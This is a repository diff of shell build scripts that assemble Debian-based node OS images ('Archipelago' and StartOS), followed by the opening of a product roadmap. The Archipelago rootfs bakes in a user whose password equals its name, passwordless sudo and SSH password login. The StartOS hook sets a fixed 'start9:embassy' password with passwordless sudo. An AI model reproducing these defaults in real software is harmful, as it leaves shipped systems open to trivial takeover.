scp "$DEV_SERVER:/etc/nginx/sites-available/default" "$SNAPSHOT_DIR/configs/nginx-default.conf" 2>/dev/null || \
echo " ⚠️ Using default Nginx config"
# Capture systemd service
echo " Capturing systemd service..."
scp "$DEV_SERVER:/etc/systemd/system/archipelago.service" "$SNAPSHOT_DIR/configs/archipelago.service" 2>/dev/null || {
echo " Creating default service..."
cat > "$SNAPSHOT_DIR/configs/archipelago.service" <<'SERVICE'
[Unit]
Description=Archipelago Backend
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
User=archipelago
Environment="ARCHIPELAGO_BIND=0.0.0.0:5678"
Environment="ARCHIPELAGO_DEV_MODE=true"
ExecStart=/usr/local/bin/archipelago
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
SERVICE
}
# Capture app manifests
echo " Capturing app manifests..."
if [ -d "$SCRIPT_DIR/../apps" ]; then
cp -r "$SCRIPT_DIR/../apps/"* "$SNAPSHOT_DIR/apps/" 2>/dev/null || true
fi
echo " ✅ Live server state captured"
echo ""
# =============================================================================
# STEP 2: Create base rootfs with captured state
# =============================================================================
echo "📦 Step 2: Creating base system with live server state..."
echo ""
ROOTFS_TAR="$WORK_DIR/archipelago-rootfs-live.tar"
# Build rootfs with Docker/Podman
cat > "$WORK_DIR/Dockerfile.rootfs" <<'DOCKERFILE'
FROM debian:bookworm
ENV DEBIAN_FRONTEND=noninteractive
# Install all required packages
RUN apt-get update && apt-get install -y \
linux-image-amd64 \
grub-efi-amd64 \
grub-efi-amd64-signed \
shim-signed \
systemd \
systemd-sysv \
dbus \
sudo \
network-manager \
openssh-server \
nginx \
podman \
curl \
wget \
htop \
vim-tiny \
ca-certificates \
locales \
console-setup \
keyboard-configuration \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Configure locale
RUN echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
# Create archipelago user
RUN useradd -m -s /bin/bash -G sudo archipelago && \
echo "archipelago:archipelago" | chpasswd && \
echo "archipelago ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/archipelago
# Set hostname
RUN echo "archipelago" > /etc/hostname
# Configure SSH
RUN mkdir -p /etc/ssh && \
sed -i 's/#PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config || true && \
sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config || true
# Create directories
RUN mkdir -p /var/lib/archipelago/{data,config,containers} && \
mkdir -p /etc/archipelago && \
mkdir -p /opt/archipelago/{bin,scripts,web-ui} && \
chown -R archipelago:archipelago /var/lib/archipelago /opt/archipelago
# Clean up
RUN apt-get clean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
DOCKERFILE
echo " Building base rootfs..."
$CONTAINER_CMD build --platform linux/amd64 -t archipelago-rootfs-live -f "$WORK_DIR/Dockerfile.rootfs" "$WORK_DIR"
echo " Exporting filesystem..."
$CONTAINER_CMD create --platform linux/amd64 --name archipelago-rootfs-live-tmp archipelago-rootfs-live
$CONTAINER_CMD export archipelago-rootfs-live-tmp > "$ROOTFS_TAR"
$CONTAINER_CMD rm archipelago-rootfs-live-tmp
echo " ✅ Base rootfs created: $(du -h "$ROOTFS_TAR" | cut -f1)"
echo ""
# =============================================================================
# STEP 3: Inject live server files into rootfs
# =============================================================================
echo "📦 Step 3: Injecting live server files..."
echo ""
ROOTFS_DIR="$WORK_DIR/rootfs-extract"
rm -rf "$ROOTFS_DIR"
mkdir -p "$ROOTFS_DIR"
echo " Extracting rootfs..."
tar -xf "$ROOTFS_TAR" -C "$ROOTFS_DIR"
echo " Copying backend binary..."
cp "$SNAPSHOT_DIR/bin/archipelago" "$ROOTFS_DIR/usr/local/bin/"
chmod +x "$ROOTFS_DIR/usr/local/bin/archipelago"
echo " Copying web UI..."
rm -rf "$ROOTFS_DIR/opt/archipelago/web-ui"
mkdir -p "$ROOTFS_DIR/opt/archipelago/web-ui"
cp -r "$SNAPSHOT_DIR/web-ui/"* "$ROOTFS_DIR/opt/archipelago/web-ui/"
echo " Configuring Nginx..."
if [ -f "$SNAPSHOT_DIR/configs/nginx-default.conf" ]; then
cp "$SNAPSHOT_DIR/configs/nginx-default.conf" "$ROOTFS_DIR/etc/nginx/sites-available/archipelago"
else
cat > "$ROOTFS_DIR/etc/nginx/sites-available/archipelago" <<'NGINXCONF'
server {
listen 80 default_server;
listen [::]:80 default_server;
root /opt/archipelago/web-ui;
index index.html;
server_name _;
# Proxy API requests to backend
location /rpc/ {
proxy_pass http://localhost:5678/rpc/;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /ws/ {
proxy_pass http://localhost:5678/ws/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
}
location /health {
proxy_pass http://localhost:5678/health;
}
# Serve static files
location / {
try_files $uri $uri/ /index.html;
}
}
NGINXCONF
fi
rm -f "$ROOTFS_DIR/etc/nginx/sites-enabled/default"
ln -sf /etc/nginx/sites-available/archipelago "$ROOTFS_DIR/etc/nginx/sites-enabled/archipelago"
echo " Configuring systemd service..."
cp "$SNAPSHOT_DIR/configs/archipelago.service" "$ROOTFS_DIR/etc/systemd/system/archipelago.service"
# Enable services (create symlinks)
mkdir -p "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants"
ln -sf /etc/systemd/system/archipelago.service "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants/archipelago.service"
ln -sf /lib/systemd/system/NetworkManager.service "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants/NetworkManager.service"
ln -sf /lib/systemd/system/ssh.service "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants/ssh.service"
ln -sf /lib/systemd/system/nginx.service "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants/nginx.service"
echo " Copying app manifests..."
if [ -d "$SNAPSHOT_DIR/apps" ]; then
mkdir -p "$ROOTFS_DIR/etc/archipelago/apps"
cp -r "$SNAPSHOT_DIR/apps/"* "$ROOTFS_DIR/etc/archipelago/apps/" 2>/dev/null || true
fi
echo " Repacking rootfs with live server state..."
cd "$ROOTFS_DIR"
tar -cf "$ROOTFS_TAR" .
cd "$SCRIPT_DIR"
echo " ✅ Live server files injected"
echo ""
# =============================================================================
# STEP 4: Create installer ISO (reuse existing auto-installer logic)
# =============================================================================
echo "📦 Step 4: Creating auto-installer ISO..."
echo ""
# Now call the existing auto-installer script but skip the rootfs build
# since we already have it with live server state
export ROOTFS_TAR="$ROOTFS_TAR"
export SKIP_ROOTFS_BUILD="true"
# Run the rest of build-auto-installer-iso.sh logic here...
# (Download Debian Live base, create auto-install.sh, package ISO)
echo " Downloading Debian Live base..."
BASE_ISO="$WORK_DIR/debian-live-installer.iso"
if [ ! -f "$BASE_ISO" ] || [ $(stat -f%z "$BASE_ISO" 2>/dev/null || stat -c%s "$BASE_ISO" 2>/dev/null || echo 0) -lt 100000000 ]; then
curl -L -# -o "$BASE_ISO" \
"https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-standard.iso"
fi
echo " Extracting installer base..."
INSTALLER_ISO="$WORK_DIR/installer-iso"
rm -rf "$INSTALLER_ISO"
mkdir -p "$INSTALLER_ISO"
cd "$INSTALLER_ISO"
7z x -y "$BASE_ISO" >/dev/null 2>&1
cd "$SCRIPT_DIR"
# Copy archipelago files
ARCH_DIR="$INSTALLER_ISO/archipelago"
mkdir -p "$ARCH_DIR"
cp "$ROOTFS_TAR" "$ARCH_DIR/rootfs.tar"
echo " ✅ Archipelago components added (rootfs: $(du -h "$ARCH_DIR/rootfs.tar" | cut -f1))"
echo ""
# Continue with ISO creation...
echo "📦 Step 5: Creating final bootable ISO..."
# (Rest of xorriso logic from build-auto-installer-iso.sh)
OUTPUT_ISO="$OUTPUT_DIR/archipelago-live-$(date +%Y%m%d-%H%M%S).iso"
# Get MBR
ISOHDPFX="$WORK_DIR/isohdpfx.bin"
dd if="$INSTALLER_ISO/isolinux/isolinux.bin" of="$ISOHDPFX" bs=432 count=1 2>/dev/null
xorriso -as mkisofs -o "$OUTPUT_ISO" \
-volid "ARCHIPELAGO" \
-J -R \
-isohybrid-mbr "$ISOHDPFX" \
-c isolinux/boot.cat \
-b isolinux/isolinux.bin \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-eltorito-alt-boot \
-e boot/grub/efi.img \
-no-emul-boot \
-isohybrid-gpt-basdat \
"$INSTALLER_ISO"
echo ""
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ ✅ LIVE SERVER ISO CREATED! ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "📀 Output: $OUTPUT_ISO"
echo " Size: $(du -h "$OUTPUT_ISO" | cut -f1)"
echo " MD5: $(md5sum "$OUTPUT_ISO" 2>/dev/null || md5 "$OUTPUT_ISO" | awk '{print $NF}')"
echo ""
echo "🎉 This ISO contains the EXACT state of your dev server!"
echo ""
echo "To flash:"
echo " cd image-recipe && ./write-usb-dd.sh /dev/diskX"
echo ""

View File

@@ -1,355 +0,0 @@
#!/bin/bash
set -e
MAX_IMG_SECTORS=7217792 # 4GB
echo "==== StartOS Image Build ===="
echo "Building for architecture: $IB_TARGET_ARCH"
base_dir="$(dirname "$(readlink -f "$0")")"
prep_results_dir="$base_dir/images-prep"
if systemd-detect-virt -qc; then
RESULTS_DIR="/srv/artifacts"
else
RESULTS_DIR="$base_dir/results"
fi
echo "Saving results in: $RESULTS_DIR"
IMAGE_BASENAME=startos-${VERSION_FULL}_${IB_TARGET_PLATFORM}
mkdir -p $prep_results_dir
cd $prep_results_dir
QEMU_ARCH=${IB_TARGET_ARCH}
BOOTLOADERS=grub-efi,syslinux
if [ "$QEMU_ARCH" = 'amd64' ]; then
QEMU_ARCH=x86_64
elif [ "$QEMU_ARCH" = 'arm64' ]; then
QEMU_ARCH=aarch64
BOOTLOADERS=grub-efi
fi
NON_FREE=
if [[ "${IB_TARGET_PLATFORM}" =~ -nonfree$ ]] || [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
NON_FREE=1
fi
IMAGE_TYPE=iso
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ] || [ "${IB_TARGET_PLATFORM}" = "rockchip64" ]; then
IMAGE_TYPE=img
fi
ARCHIVE_AREAS="main contrib"
if [ "$NON_FREE" = 1 ]; then
if [ "$IB_SUITE" = "bullseye" ]; then
ARCHIVE_AREAS="$ARCHIVE_AREAS non-free"
elif [ "$IB_SUITE" = "bookworm" ]; then
ARCHIVE_AREAS="$ARCHIVE_AREAS non-free-firmware"
fi
fi
PLATFORM_CONFIG_EXTRAS=
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
PLATFORM_CONFIG_EXTRAS="$PLATFORM_CONFIG_EXTRAS --firmware-binary false"
PLATFORM_CONFIG_EXTRAS="$PLATFORM_CONFIG_EXTRAS --firmware-chroot false"
# BEGIN stupid ugly hack
# The actual name of the package is `raspberrypi-kernel`
# live-build determines thte name of the package for the kernel by combining the `linux-packages` flag, with the `linux-flavours` flag
# the `linux-flavours` flag defaults to the architecture, so there's no way to remove the suffix.
# So we're doing this, cause thank the gods our package name contains a hypen. Cause if it didn't we'd be SOL
PLATFORM_CONFIG_EXTRAS="$PLATFORM_CONFIG_EXTRAS --linux-packages raspberrypi"
PLATFORM_CONFIG_EXTRAS="$PLATFORM_CONFIG_EXTRAS --linux-flavours kernel"
# END stupid ugly hack
elif [ "${IB_TARGET_PLATFORM}" = "rockchip64" ]; then
PLATFORM_CONFIG_EXTRAS="$PLATFORM_CONFIG_EXTRAS --linux-flavours rockchip64"
fi
cat > /etc/wgetrc << EOF
retry_connrefused = on
tries = 100
EOF
lb config \
--iso-application "StartOS v${VERSION_FULL} ${IB_TARGET_ARCH}" \
--iso-volume "StartOS v${VERSION} ${IB_TARGET_ARCH}" \
--iso-preparer "START9 LABS; HTTPS://START9.COM" \
--iso-publisher "START9 LABS; HTTPS://START9.COM" \
--backports true \
--bootappend-live "boot=live noautologin" \
--bootloaders $BOOTLOADERS \
--mirror-bootstrap "https://deb.debian.org/debian/" \
--mirror-chroot "https://deb.debian.org/debian/" \
--mirror-chroot-security "https://security.debian.org/debian-security" \
-d ${IB_SUITE} \
-a ${IB_TARGET_ARCH} \
--bootstrap-qemu-arch ${IB_TARGET_ARCH} \
--bootstrap-qemu-static /usr/bin/qemu-${QEMU_ARCH}-static \
--archive-areas "${ARCHIVE_AREAS}" \
$PLATFORM_CONFIG_EXTRAS
# Overlays
mkdir -p config/includes.chroot/deb
cp $base_dir/deb/${IMAGE_BASENAME}.deb config/includes.chroot/deb/
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
cp -r $base_dir/raspberrypi/squashfs/* config/includes.chroot/
fi
mkdir -p config/includes.chroot/etc
echo start > config/includes.chroot/etc/hostname
cat > config/includes.chroot/etc/hosts << EOT
127.0.0.1 localhost start
::1 localhost start ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
EOT
# Bootloaders
rm -rf config/bootloaders
cp -r /usr/share/live/build/bootloaders config/bootloaders
cat > config/bootloaders/syslinux/syslinux.cfg << EOF
include menu.cfg
default vesamenu.c32
prompt 0
timeout 50
EOF
cat > config/bootloaders/isolinux/isolinux.cfg << EOF
include menu.cfg
default vesamenu.c32
prompt 0
timeout 50
EOF
rm config/bootloaders/syslinux_common/splash.svg
cp $base_dir/splash.png config/bootloaders/syslinux_common/splash.png
cp $base_dir/splash.png config/bootloaders/isolinux/splash.png
cp $base_dir/splash.png config/bootloaders/grub-pc/splash.png
sed -i -e '2i set timeout=5' config/bootloaders/grub-pc/config.cfg
# Archives
mkdir -p config/archives
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
curl -fsSL https://archive.raspberrypi.org/debian/raspberrypi.gpg.key | gpg --dearmor -o config/archives/raspi.key
echo "deb https://archive.raspberrypi.org/debian/ bullseye main" > config/archives/raspi.list
fi
if [ "${IB_SUITE}" = "bullseye" ]; then
cat > config/archives/backports.pref <<- EOF
Package: *
Pin: release a=bullseye-backports
Pin-Priority: 500
EOF
fi
if [ "${IB_TARGET_PLATFORM}" = "rockchip64" ]; then
curl -fsSL https://apt.armbian.com/armbian.key | gpg --dearmor -o config/archives/armbian.key
echo "deb https://apt.armbian.com/ ${IB_SUITE} main" > config/archives/armbian.list
fi
curl -fsSL https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc > config/archives/tor.key
echo "deb [arch=${IB_TARGET_ARCH} signed-by=/etc/apt/trusted.gpg.d/tor.key.gpg] https://deb.torproject.org/torproject.org ${IB_SUITE} main" > config/archives/tor.list
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o config/archives/docker.key
echo "deb [arch=${IB_TARGET_ARCH} signed-by=/etc/apt/trusted.gpg.d/docker.key.gpg] https://download.docker.com/linux/debian ${IB_SUITE} stable" > config/archives/docker.list
echo "deb http://deb.debian.org/debian/ trixie main contrib" > config/archives/trixie.list
cat > config/archives/trixie.pref <<- EOF
Package: *
Pin: release n=trixie
Pin-Priority: 100
Package: podman
Pin: release n=trixie
Pin-Priority: 600
EOF
# Dependencies
## Base dependencies
dpkg-deb --fsys-tarfile $base_dir/deb/${IMAGE_BASENAME}.deb | tar --to-stdout -xvf - ./usr/lib/startos/depends > config/package-lists/embassy-depends.list.chroot
## Firmware
if [ "$NON_FREE" = 1 ]; then
echo 'firmware-iwlwifi firmware-misc-nonfree firmware-brcm80211 firmware-realtek firmware-atheros firmware-libertas firmware-amd-graphics' > config/package-lists/nonfree.list.chroot
fi
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
echo 'raspberrypi-bootloader rpi-update parted' > config/package-lists/bootloader.list.chroot
else
echo 'grub-efi grub2-common' > config/package-lists/bootloader.list.chroot
fi
if [ "${IB_TARGET_ARCH}" = "amd64" ] || [ "${IB_TARGET_ARCH}" = "i386" ]; then
echo 'grub-pc-bin' >> config/package-lists/bootloader.list.chroot
fi
cat > config/hooks/normal/9000-install-startos.hook.chroot << EOF
#!/bin/bash
set -e
apt-get install -y /deb/${IMAGE_BASENAME}.deb
rm -rf /deb
if [ "${IB_SUITE}" = bookworm ]; then
echo 'deb https://deb.debian.org/debian/ bullseye main' > /etc/apt/sources.list.d/bullseye.list
apt-get update
apt-get install -y postgresql-13
rm /etc/apt/sources.list.d/bullseye.list
apt-get update
fi
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
for f in /usr/lib/modules/*; do
v=\${f#/usr/lib/modules/}
echo "Configuring raspi kernel '\$v'"
extract-ikconfig "/usr/lib/modules/\$v/kernel/kernel/configs.ko.xz" > /boot/config-\$v
update-initramfs -c -k \$v
done
ln -sf /usr/bin/pi-beep /usr/local/bin/beep
fi
useradd --shell /bin/bash -G embassy -m start9
echo start9:embassy | chpasswd
usermod -aG sudo start9
echo "start9 ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee "/etc/sudoers.d/010_start9-nopasswd"
if [ "${IB_TARGET_PLATFORM}" != "raspberrypi" ]; then
/usr/lib/startos/scripts/enable-kiosk
fi
if ! [[ "${IB_OS_ENV}" =~ (^|-)dev($|-) ]]; then
passwd -l start9
fi
EOF
SOURCE_DATE_EPOCH="${SOURCE_DATE_EPOCH:-$(date '+%s')}"
lb bootstrap
lb chroot
lb installer
lb binary_chroot
lb chroot_prep install all mode-apt-install-binary mode-archives-chroot
ln -sf /run/systemd/resolve/stub-resolv.conf chroot/chroot/etc/resolv.conf
lb binary_rootfs
cp $prep_results_dir/binary/live/filesystem.squashfs $RESULTS_DIR/$IMAGE_BASENAME.squashfs
if [ "${IMAGE_TYPE}" = iso ]; then
lb binary_manifest
lb binary_package-lists
lb binary_linux-image
lb binary_memtest
lb binary_grub-legacy
lb binary_grub-pc
lb binary_grub_cfg
lb binary_syslinux
lb binary_disk
lb binary_loadlin
lb binary_win32-loader
lb binary_includes
lb binary_grub-efi
lb binary_hooks
lb binary_checksums
find binary -newermt "$(date -d@${SOURCE_DATE_EPOCH} '+%Y-%m-%d %H:%M:%S')" -printf "%y %p\n" -exec touch '{}' -d@${SOURCE_DATE_EPOCH} --no-dereference ';' > binary.modified_timestamps
lb binary_iso
lb binary_onie
lb binary_netboot
lb binary_tar
lb binary_hdd
lb binary_zsync
lb chroot_prep remove all mode-archives-chroot
lb source
mv $prep_results_dir/live-image-${IB_TARGET_ARCH}.hybrid.iso $RESULTS_DIR/$IMAGE_BASENAME.iso
elif [ "${IMAGE_TYPE}" = img ]; then
function partition_for () {
if [[ "$1" =~ [0-9]+$ ]]; then
echo "$1p$2"
else
echo "$1$2"
fi
}
ROOT_PART_END=$MAX_IMG_SECTORS
TARGET_NAME=$prep_results_dir/${IMAGE_BASENAME}.img
TARGET_SIZE=$[($ROOT_PART_END+1)*512]
truncate -s $TARGET_SIZE $TARGET_NAME
(
echo o
echo x
echo i
echo "0xcb15ae4d"
echo r
echo n
echo p
echo 1
echo 2048
echo 526335
echo t
echo c
echo n
echo p
echo 2
echo 526336
echo $ROOT_PART_END
echo a
echo 1
echo w
) | fdisk $TARGET_NAME
OUTPUT_DEVICE=$(losetup --show -fP $TARGET_NAME)
mkfs.ext4 `partition_for ${OUTPUT_DEVICE} 2`
mkfs.vfat `partition_for ${OUTPUT_DEVICE} 1`
TMPDIR=$(mktemp -d)
mount `partition_for ${OUTPUT_DEVICE} 2` $TMPDIR
mkdir $TMPDIR/boot
mount `partition_for ${OUTPUT_DEVICE} 1` $TMPDIR/boot
unsquashfs -f -d $TMPDIR $prep_results_dir/binary/live/filesystem.squashfs
if [ "${IB_TARGET_PLATFORM}" = "raspberrypi" ]; then
sed -i 's| boot=embassy| init=/usr/lib/startos/scripts/init_resize\.sh|' $TMPDIR/boot/cmdline.txt
rsync -a $base_dir/raspberrypi/img/ $TMPDIR/
fi
umount $TMPDIR/boot
umount $TMPDIR
e2fsck -fy `partition_for ${OUTPUT_DEVICE} 2`
resize2fs -M `partition_for ${OUTPUT_DEVICE} 2`
BLOCK_COUNT=$(dumpe2fs -h `partition_for ${OUTPUT_DEVICE} 2` | awk '/^Block count:/ { print $3 }')
BLOCK_SIZE=$(dumpe2fs -h `partition_for ${OUTPUT_DEVICE} 2` | awk '/^Block size:/ { print $3 }')
SECTOR_LEN=$[$BLOCK_COUNT*$BLOCK_SIZE/512]
losetup -d $OUTPUT_DEVICE
(
echo d
echo 2
echo n
echo p
echo 2
echo 526336
echo +$SECTOR_LEN
echo w
) | fdisk $TARGET_NAME
ROOT_PART_END=$[526336+$SECTOR_LEN]
TARGET_SIZE=$[($ROOT_PART_END+1)*512]
truncate -s $TARGET_SIZE $TARGET_NAME
mv $TARGET_NAME $RESULTS_DIR/$IMAGE_BASENAME.img
fi

View File

@@ -1,24 +0,0 @@
#!/bin/sh
set -e
set -x
export DEBIAN_FRONTEND=noninteractive
apt-get install -yq \
live-build \
procps \
systemd \
binfmt-support \
qemu-utils \
qemu-user-static \
qemu-system-x86 \
qemu-system-aarch64 \
xorriso \
isolinux \
ca-certificates \
curl \
gpg \
fdisk \
dosfstools \
e2fsprogs \
squashfs-tools \
rsync

View File

@@ -1,88 +0,0 @@
#!/bin/bash
set -e
DEB_PATH="$(realpath $1)"
cd "$(dirname "${BASH_SOURCE[0]}")"/..
BASEDIR="$(pwd -P)"
VERSION="$(dpkg-deb --fsys-tarfile $DEB_PATH | tar --to-stdout -xvf - ./usr/lib/startos/VERSION.txt)"
GIT_HASH="$(dpkg-deb --fsys-tarfile $DEB_PATH | tar --to-stdout -xvf - ./usr/lib/startos/GIT_HASH.txt)"
if [[ "$GIT_HASH" =~ ^@ ]]; then
GIT_HASH="unknown"
else
GIT_HASH="$(echo -n "$GIT_HASH" | head -c 7)"
fi
STARTOS_ENV="$(dpkg-deb --fsys-tarfile $DEB_PATH | tar --to-stdout -xvf - ./usr/lib/startos/ENVIRONMENT.txt)"
PLATFORM="$(dpkg-deb --fsys-tarfile $DEB_PATH | tar --to-stdout -xvf - ./usr/lib/startos/PLATFORM.txt)"
if [ -z "$1" ]; then
PLATFORM="$(uname -m)"
fi
if [ "$PLATFORM" = "x86_64" ] || [ "$PLATFORM" = "x86_64-nonfree" ]; then
ARCH=amd64
QEMU_ARCH=x86_64
elif [ "$PLATFORM" = "aarch64" ] || [ "$PLATFORM" = "aarch64-nonfree" ] || [ "$PLATFORM" = "raspberrypi" ] || [ "$PLATFORM" = "rockchip64" ]; then
ARCH=arm64
QEMU_ARCH=aarch64
else
ARCH="$PLATFORM"
QEMU_ARCH="$PLATFORM"
fi
SUITE=bookworm
debspawn list | grep $SUITE || debspawn create $SUITE
VERSION_FULL="${VERSION}-${GIT_HASH}"
if [ -n "$STARTOS_ENV" ]; then
VERSION_FULL="$VERSION_FULL~${STARTOS_ENV}"
fi
if [ -z "$DSNAME" ]; then
DSNAME="$SUITE"
fi
if [ "$QEMU_ARCH" != "$(uname -m)" ]; then
sudo update-binfmts --import qemu-$QEMU_ARCH
fi
imgbuild_fname="$(mktemp /tmp/exec-mkimage.XXXXXX)"
cat > $imgbuild_fname <<END
#!/bin/sh
export IB_SUITE=${SUITE}
export IB_TARGET_ARCH=${ARCH}
export IB_TARGET_PLATFORM=${PLATFORM}
export IB_OS_ENV=${STARTOS_ENV}
export VERSION=${VERSION}
export VERSION_FULL=${VERSION_FULL}
exec ./build.sh
END
prepare_hash=$(sha1sum ${BASEDIR}/image-recipe/prepare.sh | head -c 7)
mkdir -p ${BASEDIR}/image-recipe/deb
cp $DEB_PATH ${BASEDIR}/image-recipe/deb/
mkdir -p ${BASEDIR}/results
set +e
debspawn run \
-x \
--allow=read-kmods,kvm,full-dev \
--cachekey="${SUITE}-${prepare_hash}-mkimage" \
--init-command="${BASEDIR}/image-recipe/prepare.sh" \
--build-dir="${BASEDIR}/image-recipe" \
--artifacts-out="${BASEDIR}/results" \
--header="StartOS Image Build" \
--suite=${SUITE} \
${DSNAME} \
${imgbuild_fname}
retval=$?
rm $imgbuild_fname
if [ $retval -ne 0 ]; then
exit $retval
fi
exit 0

Binary file not shown.

Binary file not shown.

View File

@@ -1,3 +0,0 @@
# Overnight Plan -- loop
> Tasks will be generated during setup.

View File

@@ -1,337 +0,0 @@
# 2-Year Production Roadmap — Archipelago v1.0
**Goal**: Take Archipelago from developer preview to a flawless, mass-market Bitcoin Node OS. Every app installs perfectly, every service runs reliably, every interaction is polished and intuitive — on desktop and mobile.
**Timeline**: March 2026 → March 2028 (8 quarters)
**Method**: Quarterly phases, each building on the last. Deploy and verify after every task.
---
## Q1 2026 (MarMay): Foundation Hardening
### Phase 1A: App Store Reliability — Every App Installs Without Fail
- [x] **APP-101** — fix(marketplace): audit and fix all 24 marketplace app install flows. For each app in `getCuratedAppList()` in `neode-ui/src/views/Marketplace.vue` (bitcoin-knots, electrs, btcpay-server, lnd, mempool, homeassistant, grafana, searxng, ollama, onlyoffice, penpot, nextcloud, vaultwarden, jellyfin, photoprism, immich, filebrowser, nginx-proxy-manager, portainer, uptime-kuma, tailscale, fedimint, indeedhub), verify each one: (1) marketplace card renders correctly with icon, (2) clicking Install triggers `package.install` RPC, (3) container pulls and creates successfully, (4) container starts on the correct ports per `apps/PORTS.md`, (5) status shows "Running" in My Apps. Fix any broken apps. Deploy with `./scripts/deploy-to-target.sh --live`. Test each app at http://192.168.1.228.
- [x] **APP-102** — fix(apps): ensure iframe vs new-tab behavior is correct for all apps. In `neode-ui/src/stores/appLauncher.ts`, verify `mustOpenInNewTab()` includes all apps that set `X-Frame-Options: DENY/SAMEORIGIN`. Currently covers BTCPay (23000), Home Assistant (8123), Nextcloud (8085), Immich (2283). Test each running app by clicking "Open" in AppDetails.vue — iframe apps must load inside the overlay, new-tab apps must open in a fresh browser tab. If any app fails to load in iframe, either fix the nginx proxy to strip X-Frame-Options or add it to `mustOpenInNewTab()`. Deploy and verify each app.
- [x] **APP-103** — fix(apps): verify all PORT_TO_PROXY mappings in appLauncher.ts match nginx config. Cross-reference every entry in `PORT_TO_PROXY` in `neode-ui/src/stores/appLauncher.ts` with the actual nginx location blocks in `image-recipe/configs/nginx-archipelago.conf` and `image-recipe/configs/snippets/archipelago-https-app-proxies.conf`. Any missing nginx proxy blocks must be added. Any port mismatches must be corrected. Deploy nginx config and verify each app loads via its proxy path.
- [x] **APP-104** — fix(deploy): ensure first-boot-containers.sh creates every marketplace app container. Compare the apps listed in `scripts/first-boot-containers.sh` with `scripts/deploy-to-target.sh`. Any app that deploy creates but first-boot doesn't must be added to first-boot. This ensures fresh ISO installs have all containers ready.
- [x] **APP-105** — fix(backend): verify get_app_config() handles all 24 apps. In `core/archipelago/src/api/rpc/package.rs`, check `get_app_config()` returns correct ports, volumes, env vars, and custom args for every marketplace app. Any app missing its config will fail to install. Add missing configs.
- [x] **APP-106** — fix(backend): verify get_app_metadata() for all 24 apps. In `core/archipelago/src/container/docker_packages.rs`, check `get_app_metadata()` returns correct title, description, icon path, and repo URL for every marketplace app. Fix missing or incorrect entries.
### Phase 1B: App Dependencies — Bitcoin, Lightning, Fedimint Chains
- [x] **DEP-101** — fix(backend): implement robust dependency checking for all apps. In `core/archipelago/src/api/rpc/package.rs`, ensure dependency checks work: Electrs requires Bitcoin Knots running, LND requires Bitcoin Knots running, BTCPay requires LND running, Mempool requires Bitcoin Knots + Electrs. When installing an app with unmet dependencies, the UI should either auto-install dependencies or show a clear message: "Bitcoin Knots must be installed and running first." Deploy and verify by trying to install Electrs without Bitcoin.
- [x] **DEP-102** — fix(ui): show dependency status in MarketplaceAppDetails.vue. When viewing an app that has dependencies, show a "Requirements" section listing each dependency with a green checkmark (installed & running), yellow warning (installed but stopped), or red X (not installed). Add an "Install All Requirements" button that queues dependency installations in order. This lives in `neode-ui/src/views/MarketplaceAppDetails.vue`.
- [x] **DEP-103** — feat(fedimint): integrate Fedimint Guardian + Gateway as paired services. Fedimint currently runs as a single container (fedimintd). Add Fedimint Gateway as a companion service that runs alongside the Guardian. In `scripts/deploy-to-target.sh`, when creating fedimint, also create `fedimint-gateway` container using `fedimint/gatewayd` image. Configure the gateway to auto-connect to the guardian. In the Marketplace, show Fedimint as one app that runs both services. The UI should show both Guardian and Gateway status.
- [x] **DEP-104** — feat(fedimint): auto-configure Fedimint Gateway to use LND. The Fedimint Gateway needs a Lightning backend. When both LND and Fedimint are installed, auto-configure the gateway to use LND's gRPC endpoint. In `core/archipelago/src/api/rpc/package.rs`, add Fedimint Gateway config that reads LND's tls.cert and admin.macaroon from the LND data volume. The user should only need to open lightning channels — everything else should be automatic.
- [x] **DEP-105** — feat(ui): lightning channel management interface. Create `neode-ui/src/views/apps/LightningChannels.vue` accessible from the LND app detail page. Show: (1) list of open channels with capacity bars, (2) "Open Channel" button with peer URI input and amount, (3) channel status (pending open/close, active, inactive), (4) total inbound/outbound liquidity summary. Use existing RPC to call LND's REST API through the backend proxy. This is critical for Fedimint Gateway to be useful.
### Phase 1C: Animation & UI Polish
